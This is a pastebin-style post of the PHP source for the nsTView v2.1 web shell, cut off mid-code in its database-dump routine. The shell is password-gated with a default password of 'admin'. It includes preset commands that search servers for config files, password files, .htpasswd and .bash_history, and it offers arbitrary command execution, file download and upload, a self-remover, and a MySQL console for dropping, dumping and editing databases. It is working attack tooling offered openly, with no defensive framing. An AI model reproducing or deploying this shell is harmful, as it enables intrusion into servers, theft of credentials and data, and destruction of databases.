nsTView Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 8:04 a.m.

FORMAT: Text only

SIZE: 100.2 kB

HITS: 507

  1. <?
  2. @session_start();
  3. @set_time_limit(0);
  4. @set_magic_quotes_runtime(0);
  5. error_reporting(E_ALL & ~E_NOTICE);
  6. #####cfg#####
  7. # use password true / false #
  8. $create_password = true;
  9. $password = "admin"; // default password for nstview, you can change it.
  10. # UNIX COMMANDS
  11. # description (nst) command
  12. # example: Shutdown (nst) shutdown -h now
  13. $fast_commands = "
  14. Show open ports (nst) netstat -an | grep LISTEN | grep tcp
  15. last root (nst) last root
  16. last (all users) (nst) last all
  17. Find all config.php in / (nst) find / -type f -name config.php
  18. Find all config.php in . (nst) find . -type f -name config.php
  19. Find all admin.php in / (nst) find / -type f -name admin.php
  20. Find all admin.php in . (nst) find . -type f -name admin.php
  21. Find all config.inc.php in / (nst) find / -type f -name config.inc.php
  22. Find all config.inc.php in . (nst) find . -type f -name config.inc.php
  23. Find all config.inc in / (nst) find / -type f -name config.inc
  24. Find all config.inc in . (nst) find . -type f -name config.inc
  25. Find all config.dat in / (nst) find / -type f -name config.dat
  26. Find all config.dat in . (nst) find . -type f -name config.dat
  27. Find all config* in / (nst) find / -type f -name config*
  28. Find all config* in . (nst) find . -type f -name config*
  29. Find all pass* in / (nst) find / -type f -name pass*
  30. Find all pass* in . (nst) find . -type f -name pass*
  31. Find all .bash_history in / (nst) find / -type f -name .bash_history
  32. Find all .bash_history in . (nst) find . -type f -name .bash_history
  33. Find all .htpasswd in / (nst) find / -type f -name .htpasswd
  34. Find all .htpasswd in . (nst) find . -type f -name .htpasswd
  35. Find all writable dirs/files in / (nst) find / -perm -2 -ls
  36. Find all writable dirs/files in . (nst) find . -perm -2 -ls
  37. Find all suid files in / (nst) find / -type f -perm -04000 -ls
  38. Find all suid files in . (nst) find . -type f -perm -04000 -ls
  39. Find all sgid files in / (nst) find / -type f -perm -02000 -ls
  40. Find all sgid files in . (nst) find . -type f -perm -02000 -ls
  41. Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc
  42. Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc
  43. OS Version? (nst) sysctl -a | grep version
  44. Kernel version? (nst) cat /proc/version
  45. cat syslog.conf (nst) cat /etc/syslog.conf
  46. Cat - Message of the day (nst) cat /etc/motd
  47. Cat hosts (nst) cat /etc/hosts
  48. Distrib name (nst) cat /etc/issue.net
  49. Distrib name (2) (nst) cat /etc/*-realise
  50. Display all process - wide output (nst) ps auxw
  51. Display all your process (nst) ps ux
  52. Interfaces (nst) ifconfig
  53. CPU? (nst) cat /proc/cpuinfo
  54. RAM (nst) free -m
  55. HDD space (nst) df -h
  56. List of Attributes (nst) lsattr -a
  57. Mount options (nst) cat /etc/fstab
  58. Is cURL installed? (nst) which curl
  59. Is wGET installed? (nst) which wget
  60. Is lynx installed? (nst) which lynx
  61. Is links installed? (nst) which links
  62. Is fetch installed? (nst) which fetch
  63. Is GET installed? (nst) which GET
  64. Is perl installed? (nst) which perl
  65. Where is apache (nst) whereis apache
  66. Where is perl (nst) whereis perl
  67. locate proftpd.conf (nst) locate proftpd.conf
  68. locate httpd.conf (nst) locate httpd.conf
  69. locate my.conf (nst) locate my.conf
  70. locate psybnc.conf (nst) locate psybnc.conf
  71. ";
  72. # WINDOWS COMMANDS
  73. # description (nst) command
  74. # example: Delete autoexec.bat (nst) del c:\autoexec.bat
  75. $fast_commands_win = "
  76. OS Version (nst) ver
  77. Tasklist (nst) tasklist
  78. Attributes in . (nst) attrib
  79. Show open ports (nst) netstat -an
  80. ";
  81. ######ver####
  82. $ver= "v2.1";
  83. #############
  84. $pass=$_POST['pass'];
  85. if($pass==$password){
  86. $_SESSION['nst']="$pass";
  87. }
  88. if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
  89. else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
  90. else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"];
  91. else $ip = $_SERVER['REMOTE_ADDR'];
  92. $ip=htmlspecialchars($ip);
  93. if($create_password==true){
  94. if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
  95. die("
  96. <title>nsTView $ver:: nst.void.ru</title>
  97. <center>
  98. <table width=100 bgcolor=#D7FFA8 border=1 bordercolor=black><tr><td>
  99. <font size=1 face=verdana><center>
  100. <b>nsTView $ver :: <a href=http://xhs.net.ru style='text-decoration:none;'><font color=black>nst.void.ru</font></a><br></b>
  101. </center>
  102. <form method=post>
  103. Password:<br>
  104. <input type=password name=pass size=30 tabindex=1>
  105. </form>
  106. <b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
  107. <b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
  108. <b>Your ip:</b> ".$ip."
  109. </td></tr></table>
  110. ");}
  111. }
  112. $d=$_GET['d'];
  113. function adds($editf){
  114. #if(get_magic_quotes_gpc()==0){
  115. $editf=addslashes($editf);
  116. #}
  117. return $editf;
  118. }
  119. function adds2($editf){
  120. if(get_magic_quotes_gpc()==0){
  121. $editf=addslashes($editf);
  122. }
  123. return $editf;
  124. }
  125. $f = "nst_sql.txt";
  126. $f_d = $_GET['f_d'];
  127. if($_GET['download']){
  128. $download=$_GET['download'];
  129. header("Content-disposition: attachment; filename=\"$download\";");
  130. readfile("$d/$download");
  131. exit;}
  132. if($_GET['dump_download']){
  133. header("Content-disposition: attachment; filename=\"$f\";");
  134. header("Content-length: ".filesize($f_d."/".$f));
  135. header("Expires: 0");
  136. readfile($f_d."/".$f);
  137. if(is_writable($f_d."/".$f)){
  138. unlink($f_d."/".$f);
  139. }
  140. die;
  141. }
  142. $images=array(".gif",".jpg",".png",".bmp",".jpeg");
  143. $whereme=getcwd();
  144. @$d=@$_GET['d'];
  145. $copyr = "<center><a href=http://xhs.net.ru target=_blank>nsTView $ver<br>o... Nine security team ...o</a>";
  146. $php_self=@$_SERVER['PHP_SELF'];
  147. if(@eregi("/",$whereme)){$os="unix";}else{$os="win";}
  148. if(!isset($d)){$d=$whereme;}
  149. $d=str_replace("\\","/",$d);
  150. if(@$_GET['p']=="info"){
  151. @phpinfo();
  152. exit;}
  153. if(@$_GET['img']=="1"){
  154. @$e=$_GET['e'];
  155. header("Content-type: image/gif");
  156. readfile("$d/$e");
  157. }
  158. if(@$_GET['getdb']=="1"){
  159. header('Content-type: application/plain-text');
  160. header('Content-Disposition: attachment; filename=nst-mysql-damp.htm');
  161. }
  162. print "<title>nsT View $ver</title>
  163. <style>
  164. BODY, TD, TR {
  165. text-decoration: none;
  166. font-family: Verdana;
  167. font-size: 8pt;
  168. SCROLLBAR-FACE-COLOR: #363d4e;
  169. SCROLLBAR-HIGHLIGHT-COLOR: #363d4e;
  170. SCROLLBAR-SHADOW-COLOR: #363d4e;
  171. SCROLLBAR-ARROW-COLOR: #363d4e;
  172. SCROLLBAR-TRACK-COLOR: #91AAFF
  173. }
  174. input, textarea, select {
  175. font-family: Verdana;
  176. font-size: 10px;
  177. color: black;
  178. background-color: white;
  179. border: solid 1px;
  180. border-color: black
  181. }
  182. UNKNOWN {
  183. COLOR: #0006DE;
  184. TEXT-DECORATION: none
  185. }
  186. A:link {
  187. COLOR: #0006DE;
  188. TEXT-DECORATION: none
  189. }
  190. A:hover {
  191. COLOR: #FF0C0B;
  192. TEXT-DECORATION: none
  193. }
  194. A:active {
  195. COLOR: #0006DE;
  196. TEXT-DECORATION: none
  197. }
  198. A:visited {
  199. TEXT-DECORATION: none
  200. }
  201. </style>
  202. <script>
  203. function ShowOrHide(d1, d2) {
  204. if (d1 != '') DoDiv(d1);
  205. if (d2 != '') DoDiv(d2);}
  206. function DoDiv(id) {
  207. var item = null;
  208. if (document.getElementById) {
  209. item = document.getElementById(id);
  210. } else if (document.all){
  211. item = document.all[id];
  212. } else if (document.layers){
  213. item = document.layers[id];}
  214. if (!item) {}
  215. else if (item.style) {
  216. if (item.style.display == \"none\"){ item.style.display = \"\"; }
  217. else {item.style.display = \"none\"; }
  218. }else{ item.visibility = \"show\"; }}
  219. function cwd(text){
  220. document.sh311Form.sh3.value+=\" \"+ text;
  221. document.sh311Form.sh3.focus();
  222. }
  223. </script>
  224. ";
  225. print "<body vlink=#0006DE>
  226. <table width=600 border=0 cellpadding=0 cellspacing=1 bgcolor=#D7FFA8 align=center>
  227. <tr><td><font face=wingdings size=2>0</font>";
  228. $expl=explode("/",$d);
  229. $coun=count($expl);
  230. if($os=="unix"){echo "<a href='$php_self?d=/'>/</a>";}
  231. else{
  232. echo "<a href='$php_self?d=$expl[0]'>$expl[0]/</a>";}
  233. for($i=1; $i<$coun; $i++){
  234. @$xx.=$expl[$i]."/";
  235. $sls="<a href='$php_self?d=$expl[0]/$xx'>$expl[$i]</a>/";
  236. $sls=str_replace("//","/",$sls);
  237. $sls=str_replace("/'></a>/","/'></a>",$sls);
  238. print $sls;
  239. }
  240. if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";}
  241. if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";}
  242. echo "</td></tr>";
  243. if($os=="unix"){ echo "
  244. <tr><td><b>id:</b> ".@exec('id')."</td></tr>
  245. <tr><td><b>uname -a:</b> ".@exec('uname -a')."</td></tr>";} echo"
  246. <tr><td><b>Your IP: [<font color=#5F3CC1>$ip</font>] Server IP: [<font color=#5F3CC1>".gethostbyname($_SERVER["HTTP_HOST"])."</font>] Server <a href=# title='Host.Domain'>H.D.</a>: [<font color=#5F3CC1>".$_SERVER["HTTP_HOST"]."</font>]</b><br>
  247. [<b>Safe mode:</b> $safe_m] [<b>Register globals:</b> $reg_g]<br>
  248. [<a href=# onClick=location.href=\"javascript:history.back(-1)\">Back</a>]
  249. [<a href='$php_self'>Home</a>]
  250. [<a href='$php_self?d=$d&sh311=1'>Shell (1)</a> <a href='$php_self?d=$d&sh311=2'>(2)</a>]
  251. [<a href='$php_self?d=$d&t=upload'>Upload</a>]
  252. [<a href='$php_self?t=tools'>Tools</a>]
  253. [<a href='$php_self?p=info'>PHPinfo</a>]
  254. [<a href='$php_self?delfolder=$d&d=$d&delfl=1&rback=$d' title='$d'>DEL Folder</a>]
  255. [<a href='$php_self?p=sql'>SQL</a>]
  256. [<a href='$php_self?p=selfremover'>Self Remover</a>]
  257. </td></tr>
  258. ";
  259. if($os=="win"){ echo "
  260. <tr><td bgcolor=white>
  261. <center><font face=wingdings size=2><</font>
  262. <a href='$php_self?d=a:/'>A</a>
  263. <a href='$php_self?d=b:/'>B</a>
  264. <a href='$php_self?d=c:/'>C</a>
  265. <a href='$php_self?d=d:/'>D</a>
  266. <a href='$php_self?d=e:/'>E</a>
  267. <a href='$php_self?d=f:/'>F</a>
  268. <a href='$php_self?d=g:/'>G</a>
  269. <a href='$php_self?d=h:/'>H</a>
  270. <a href='$php_self?d=i:/'>I</a>
  271. <a href='$php_self?d=j:/'>J</a>
  272. <a href='$php_self?d=k:/'>K</a>
  273. <a href='$php_self?d=l:/'>L</a>
  274. <a href='$php_self?d=m:/'>M</a>
  275. <a href='$php_self?d=n:/'>N</a>
  276. <a href='$php_self?d=o:/'>O</a>
  277. <a href='$php_self?d=p:/'>P</a>
  278. <a href='$php_self?d=q:/'>Q</a>
  279. <a href='$php_self?d=r:/'>R</a>
  280. <a href='$php_self?d=s:/'>S</a>
  281. <a href='$php_self?d=t:/'>T</a>
  282. <a href='$php_self?d=u:/'>U</a>
  283. <a href='$php_self?d=v:/'>V</a>
  284. <a href='$php_self?d=w:/'>W</a>
  285. <a href='$php_self?d=x:/'>X</a>
  286. <a href='$php_self?d=y:/'>Y</a>
  287. <a href='$php_self?d=z:/'>Z</a>
  288. </td></tr>";}else{echo "<tr><td>&nbsp;</td></tr>";}
  289. print "<tr><td>
  290. :: <a href='$php_self?d=$d&mkdir=1'>Create folder</a> ::
  291. <a href='$php_self?d=$d&mkfile=1'>Create file</a> ::
  292. <a href='$php_self?d=$d&read_file_safe_mode=1'>Read file if safe mode is On</a> ::";
  293. if($os=="unix"){
  294. print "<a href='$php_self?d=$d&ps_table=1'>PS table</a> ::";
  295. }
  296. print "</td></tr>";
  297. if($_GET['p']=="ftp"){
  298. print "<tr><td>";
  299. print "</td></tr></table>";
  300. print $copyr;
  301. exit;
  302. }
  303. if(@$_GET['p']=="sql"){
  304. print "<tr><td>";
  305. ###
  306. $f_d = $_GET['f_d'];
  307. if(!isset($f_d)){$f_d=".";}
  308. if($f_d==""){$f_d=".";}
  309. $php_self=$_SERVER['PHP_SELF'];
  310. $delete_table=$_GET['delete_table'];
  311. $tbl=$_GET['tbl'];
  312. $from=$_GET['from'];
  313. $to=$_GET['to'];
  314. $adress=$_POST['adress'];
  315. $port=$_POST['port'];
  316. $login=$_POST['login'];
  317. $pass=$_POST['pass'];
  318. $adress=$_GET['adress'];
  319. $port=$_GET['port'];
  320. $login=$_GET['login'];
  321. $pass=$_GET['pass'];
  322. $conn=$_GET['conn'];
  323. if(!isset($adress)){$adress="localhost";}
  324. if(!isset($login)){$login="root";}
  325. if(!isset($pass)){$pass="";}
  326. if(!isset($port)){$port="3306";}
  327. if(!isset($from)){$from=0;}
  328. if(!isset($to)){$to=50;}
  329. ?>
  330. <style>
  331. table,td{
  332. color: black;
  333. font-face: verdana;
  334. font-size: 11px;
  335. }
  336. </style>
  337. <font color=black face=verdana size=1>
  338. <? if(!$conn){ ?>
  339. <!-- table 1 -->
  340. <table bgcolor=#D7FFA8>
  341. <tr><td valign=top>Address:</td><td><form><input name=adress value='<?=$adress?>' size=20><input name=port value='<?=$port?>' size=6></td></tr>
  342. <tr><Td valign=top>Login: </td><td><input name=login value='<?=$login?>' size=10></td></tr>
  343. <tr><Td valign=top>Pass:</td><td> <input name=pass value='<?=$pass?>' size=10><input type=hidden name=p value=sql></td></tr>
  344. <tr><td></td><td><input type=submit name=conn value=Connect></form></td></tr><?}?>
  345. <tr><td valign=top><? if($conn){ echo "<b>PHP v".@phpversion()."<br>mySQL v".@mysql_get_server_info()."<br>";}?></b></td><td></td></tr>
  346. </table>
  347. <!-- end of table 1 -->
  348. <?
  349. $conn=$_GET['conn'];
  350. $adress=$_GET['adress'];
  351. $port=$_GET['port'];
  352. $login=$_GET['login'];
  353. $pass=$_GET['pass'];
  354. if($conn){
  355. $serv = @mysql_connect($adress.":".$port, $login,$pass) or die("<font color=red>Error: ".mysql_error()."</font>");
  356. if($serv){$status="Connected. :: <a href='$php_self?p=sql'>Log out</a>";}else{$status="Disconnected.";}
  357. print "<b><font color=green>Status: $status<br><br>"; # #D7FFA8
  358. print "<table cellpadding=0 cellspacing=0 bgcolor=#D7FFA8><tr><td valign=top>";
  359. print "<br><font color=red>[db]</font><Br>";
  360. print "<font color=white>";
  361. $res = mysql_list_dbs($serv);
  362. while ($str=mysql_fetch_row($res)){
  363. print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&delete_db=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")'>[DEL]<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$str[0]&dump_db=$str[0]&f_d=$d'>[DUMP]</a></a> <b><a href='$php_self?baza=1&db=$str[0]&p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a></b><br>";
  364. $tc++;
  365. }
  366. $baza=$_GET['baza'];
  367. $db=$_GET['db'];
  368. print "<font color=red>[Total db: $tc]</font><br>";
  369. if($baza){
  370. print "<div align=left><font color=green>db: [$db]</div></font><br>";
  371. $result=@mysql_list_tables($db);
  372. while($str=@mysql_fetch_array($result)){
  373. $c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
  374. $records=mysql_fetch_array($c);
  375. if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);}
  376. if($records[0]=="0"){
  377. print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]&ins_new_line=1'>$str[0]</a><br>";
  378. }else{
  379. print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a><br>";
  380. }
  381. mysql_free_result($c);
  382. $total_t++;
  383. }
  384. print "<br><B><font color=red>Total tables: $total_t</font></b>";
  385. print "<pre>";
  386. for($i=0; $i<$s4ot+10; $i++){print "&nbsp;";}
  387. print "</pre>";
  388. } #end baza
  389. # delete table
  390. if(isset($delete_table)){
  391. mysql_select_db($_GET['db']) or die("<font color=red>".mysql_error()."</font>");
  392. mysql_query("DROP TABLE IF EXISTS $delete_table") or die("<font color=red>".mysql_error()."</font>");
  393. print "<br><b><font color=green>Table [ $delete_table ] :: Deleted success!</font></b>";
  394. print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1\">";
  395. }
  396. # end of delete table
  397. # delete database
  398. if(isset($_GET['delete_db'])){
  399. mysql_drop_db($_GET['delete_db']) or die("<font color=red>".mysql_error()."</font>");
  400. print "<br><b><font color=green>Database ".$_GET['delete_db']." :: Deleted Success!";
  401. print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1\">";
  402. }
  403. # end of delete database
  404. # delete row
  405. if(isset($_POST['delete_row'])){
  406. $_POST['delete_row'] = base64_decode($_POST['delete_row']);
  407. mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("<font color=red>".mysql_error()."</font>");
  408. $del_result = "<br><b><font color=green>Deleted Success!<br>".$_POST['delete_row'];
  409. print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
  410. }
  411. # end of delete row
  412. $vn=$_GET['vn'];
  413. print "</td><td valign=top>";
  414. print "<font color=green>Database: $db => $vn</font>";
  415. # edit row
  416. if(isset($_POST['edit_row'])){
  417. $edit_row=base64_decode($_POST['edit_row']);
  418. $r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("<font color=red>".mysql_error()."</font>");
  419. print "<br><br>
  420. <table border=0 cellpadding=1 cellspacing=1><tr>
  421. <td><b>Row</b></td><td><b>Value</b></td></tr>";
  422. print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."'>";
  423. print "<input type=hidden name=edit_row value='".$_POST['edit_row']."'>";
  424. print " <input type=radio name=upd value=update checked>Update<br>
  425. <input type=radio name=upd value=insert>Insert new<br><br>";
  426. $i=0;
  427. while($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){
  428. foreach($mn as $key =>$val){
  429. $type = mysql_field_type($r_edit, $i);
  430. $len = mysql_field_len($r_edit, $i);
  431. $del .= "`$key`='".adds($val)."' AND ";
  432. $c=strlen($val);
  433. $val=htmlspecialchars($val, ENT_NOQUOTES);
  434. $str=" <textarea name='$key' cols=39 rows=5>$val</textarea> ";
  435. $buff .= "<tr><td bgcolor=silver><b>$key</b><br><font color=green>(<b>$type($len)</b>)</font></td><td>$str</td></tr>";
  436. $i++;
  437. }
  438. }
  439. $delstring=base64_encode($del);
  440. print "<input type=hidden name=delstring value=\"$delstring\">";
  441. print "$buff</table><br>";
  442. print "<br>";
  443. if(!$_POST['makeupdate']){print "<input type=submit value=Update name=makeupdate></form>";}
  444. if($_POST['makeupdate']){
  445. if($_POST['upd']=='update'){
  446. preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
  447. $delstring=$_POST['delstring'];
  448. $delstring=base64_decode($delstring);
  449. $delstring = substr($delstring, 0, strlen($delstring)-5);
  450. for($i=0; $i<count($matches3[0]); $i++){
  451. eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";");
  452. $total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',";
  453. }
  454. $total_str = substr_replace($total_str,"",-1);
  455. $up_string = "UPDATE `$tbl` SET $total_str WHERE $delstring";
  456. $up_string = htmlspecialchars($up_string, ENT_NOQUOTES);
  457. print "<b>PHP var:<br></b>\$sql=\"$up_string\";<br><br>";
  458. print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
  459. mysql_query($up_string) or die("<font color=red>".mysql_error()."</font>");
  460. }#end of make update
  461. if($_POST['upd']=='insert'){
  462. preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
  463. $delstring=$_POST['delstring'];
  464. $delstring=base64_decode($delstring);
  465. $delstring = substr($delstring, 0, strlen($delstring)-5);
  466. for($i=0; $i<count($matches3[0]); $i++){
  467. eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";");
  468. $total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,";
  469. }
  470. $total_str = ",,".$total_str;
  471. preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4);
  472. for($i=0; $i<count($matches4[1]); $i++){
  473. $matches4[1][0]=str_replace(",","",$matches4[1][0]);
  474. $total_m_i .= "`".$matches4[1][$i]."`,";
  475. $total_m_x .= "'".$matches4[2][$i]."',";
  476. }
  477. $total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1);
  478. $total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1);
  479. $make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)";
  480. mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>");
  481. print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>";
  482. print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
  483. }#end of insert
  484. }#end of update
  485. }
  486. # end of edit row
  487. # insert new line
  488. if($_GET['ins_new_line']){
  489. $qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("<font color=red>".mysql_error()."</font>");
  490. print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."&ins_new_line=1'>
  491. Insert new line in <b>$tbl</b> table</b><Br><br>";
  492. print "<table>";
  493. while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) {
  494. foreach ($new_line as $key =>$next) {
  495. $buff .= "$next ";
  496. }
  497. $expl=explode(" ",$buff);
  498. $buff2 .= $expl[0]." ";
  499. print "<tr><td bgcolor=silver><b>$expl[0]</b><br><font color=green>(<b>$expl[1]</b>)</font></td>
  500. <td><textarea name='$expl[0]' cols=39 rows=5></textarea>
  501. </td></tr>";
  502. unset($buff);
  503. }
  504. print "</table>
  505. <center><input type=submit value=Insert name=mk_ins></form></center>";
  506. if($_POST['mk_ins']){
  507. preg_match_all("/(.*?)\s/i",$buff2,$matches3);
  508. for($i=0; $i<count($matches3[0]); $i++){
  509. eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";");
  510. $total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,";
  511. }
  512. $total_str = ",,".$total_str;
  513. preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4);
  514. for($i=0; $i<count($matches4[1]); $i++){
  515. $matches4[1][0]=str_replace(",","",$matches4[1][0]);
  516. $total_m_i .= "`".$matches4[1][$i]."`,";
  517. $total_m_x .= "'".$matches4[2][$i]."',";
  518. }
  519. $total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1);
  520. $total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1);
  521. $make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)";
  522. mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>");
  523. print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>";
  524. print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
  525. }#end of mk ins
  526. }#end of ins new line
  527. if(isset($_GET['rename_table'])){
  528. $rename_table=$_GET['rename_table'];
  529. print "<br><br>Rename <b>$rename_table</b> to<br><br>
  530. <form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$rename_table'>
  531. <input name=new_name size=30><center><br>
  532. <input type=submit value=Rename></center>
  533. </form>
  534. ";
  535. if(isset($_POST['new_name'])){
  536. mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>");
  537. mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("<font color=red>".mysql_error()."</font>");
  538. print "<br><font color=green>Table <b>$rename_table</b> renamed to <b>".$_POST['new_name']."</b></font>";
  539. print "<meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&db=$db\">";
  540. }
  541. }#end of rename
  542. # dump table
  543. if($_GET['dump']){
  544. if(!is_writable($f_d)){die("<br><br><font color=red>This folder $f_d isnt writable!<br>Cannot make dump.<br><br>
  545. <font color=green><b>You can change temp folder for dump file in your browser!<br>
  546. <font color=red>Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)</font><br>
  547. Then press enter</b></font>
  548. </font>");}
  549. mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>");
  550. $fp = fopen($f_d."/".$f,"w");
  551. fwrite($fp, "# nsTView.php v$ver
  552. # Web: http://nst.void.ru
  553. # Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
  554. # MySQL version: ".mysql_get_server_info()."
  555. # PHP version: ".phpversion()."
  556. # Date: ".date("d.m.Y - H:i:s")."
  557. # Dump db ( $db ) Table ( $tbl )
  558. # --- eof ---
  559. ");
  560. $que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("<font color=red>".mysql_error()."</font>");
  561. $row = mysql_fetch_row($que);
  562. fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n");
  563. $row[1]=str_replace("\n","\r\n",$row[1]);
  564. fwrite($fp, $row[1].";\r\n\r\n");
  565. $que = mysql_query("SELECT * FROM `$tbl`");
  566. if(mysql_num_rows($que)>0){
  567. while($row = mysql_fetch_assoc($que)){
  568. $keys = join("`, `", array_keys($row));
  569. $values = array_values($row);
  570. foreach($values as $k=>$v) {$values[$k] = adds2($v);}
  571. $values = implode("', '", $values);
  572. $sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n";
  573. fwrite($fp, $sql);
  574. }
  575. }
  576. fclose($fp);
  577. print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">";
  578. }#end of dump
  579. # db dump
  580. if($_GET['dump_db']){
  581. $c=mysql_num_rows(mysql_list_tables($db));
  582. if($c>=1){
  583. print "<br><br>&nbsp;&nbsp;&nbsp;Dump database <b>$db</b>";
  584. }else{
  585. print "<br><br><font color=red>Cannot dump database. No tables exists in <b>$db</b> db.</font>";
  586. die;
  587. }
  588. if(sizeof($tabs)==0){
  589. $res = mysql_query("SHOW TABLES FROM $db");
  590. if(mysql_num_rows($res)>0){
  591. while($row=mysql_fetch_row($res)){
  592. $tabs[] .= $row[0];
  593. }
  594. }
  595. }
  596. $fp = fopen($f_d."/".$f,"w");
  597. fwrite($fp, "# nsTView.php v$ver
  598. # Web: http://nst.void.ru
  599. # Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
  600. # MySQL version: ".mysql_get_server_info()."
  601. # PHP version: ".phpversion()."
  602. # Date: ".date("d.m.Y - H:i:s")."
  603. # Dump db ( $db )
  604. # --- eof ---
  605. ");
  606. foreach($tabs as $tab) {
  607. fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n");
  608. $res = mysql_query("SHOW CREATE TABLE `$tab`");
  609. $row = mysql_fetch_row($res);
  610. $row[1]=str_replace("\n","\r\n",$row[1]);
  611. fwrite($fp, $row[1].";\r\n\r\n");
  612. $res = mysql_query("SELECT * FROM `$tab`");
